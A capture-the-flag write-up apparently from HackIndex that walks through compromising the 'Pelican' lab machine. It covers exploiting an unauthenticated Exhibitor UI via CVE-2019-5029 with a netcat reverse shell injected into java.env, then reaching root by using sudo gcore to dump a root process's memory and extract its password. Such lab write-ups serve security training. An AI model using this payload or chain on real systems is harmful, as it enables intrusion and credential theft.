Skip to content
HackIndex logo

HackIndex

Pelican Writeup - Proving Grounds

Medium Linux

Last updated May 10, 2026 3 min read

Joshua

HackIndex Creator

Discovery

The scan returns nine open TCP ports. Key services: SSH on 22 and 2222, Samba on 139/445, CUPS on 631, Zookeeper on 2181, and two HTTP services on 8080 (Jetty) and 8081 (nginx). Java RMI is also exposed on 46295.

┌──(kali㉿kali)-[~]
└─$ scan_tcp_full $TARGET_IP
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X
445/tcp   open  netbios-ssn Samba smbd 4.9.5-Debian
631/tcp   open  ipp         CUPS 2.2
2181/tcp  open  zookeeper   Zookeeper 3.4.6-1569965
2222/tcp  open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2
8080/tcp  open  http        Jetty 1.0
8081/tcp  open  http        nginx 1.14.2
|_http-title: Did not follow redirect to http://192.168.237.98:8080/exhibitor/v1/ui/index.html
46295/tcp open  java-rmi    Java RMI

Enumeration

The nginx redirect on 8081 points directly to http://$TARGET_IP:8080/exhibitor/v1/ui/index.html — the Exhibitor web UI for managing ZooKeeper. The interface runs version 1.0 and requires no authentication.

SMB null auth is available but shares only contain printer drivers and an IPC share. No useful files.

Exhibitor is the interesting target. The Config editor allows setting a java.env script field which gets executed as a shell command when ZooKeeper restarts. This is CVE-2019-5029 — a command injection in the javaEnvironment configuration field, present in all versions from 1.0.9 through 1.7.1.

┌──(kali㉿kali)-[~]
└─$ searchsploit exhibitor
Exhibitor Web UI 1.7.1 - Remote Code Execution  | java/webapps/48654.txt

Initial Access

In the Exhibitor Config editor, the java.env script field accepts shell syntax. Injecting a reverse shell payload inside $() causes it to execute when ZooKeeper is restarted via the UI. The payload goes into the java.env script box, appended after the existing Java options line:

export JAVA_OPTS="-Xms1000m -Xmx1000m" $(/bin/nc -e /bin/sh $ATTACKER_IP $ATTACKER_PORT &)

Save the config and click Commit in the Exhibitor UI to apply and restart ZooKeeper. Set up the listener before committing:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
connect to [192.168.45.192] from (UNKNOWN) [192.168.237.98] 39152
whoami
charles

Privilege Escalation

Check sudo permissions for charles:

user@host ~ $ sudo -l
User charles may run the following commands on pelican:
    (ALL) NOPASSWD: /usr/bin/gcore

gcore generates a memory core dump of a running process. Core dumps often contain sensitive data — open file contents, environment variables, and cleartext credentials. The goal is to find a root-owned process that might hold credentials.

List all root processes and look for something interesting:

user@host ~ $ ps aux | grep ^root
root   490  0.0  0.0   2276    72 ?  Ss  11:05   0:00 /usr/bin/password-store
<snip>

PID 490 is running /usr/bin/password-store as root — a strong candidate. Dump its memory and search the output for strings:

user@host ~ $ sudo gcore 490
strings core.490 | grep -i password
Saved corefile core.490

001 Password: root:
$ROOT_PASSWORD

The core dump contains the root password in cleartext. Switch to root:

user@host ~ $ su root
Password:
root@pelican:/opt/zookeeper#

Root shell obtained.

References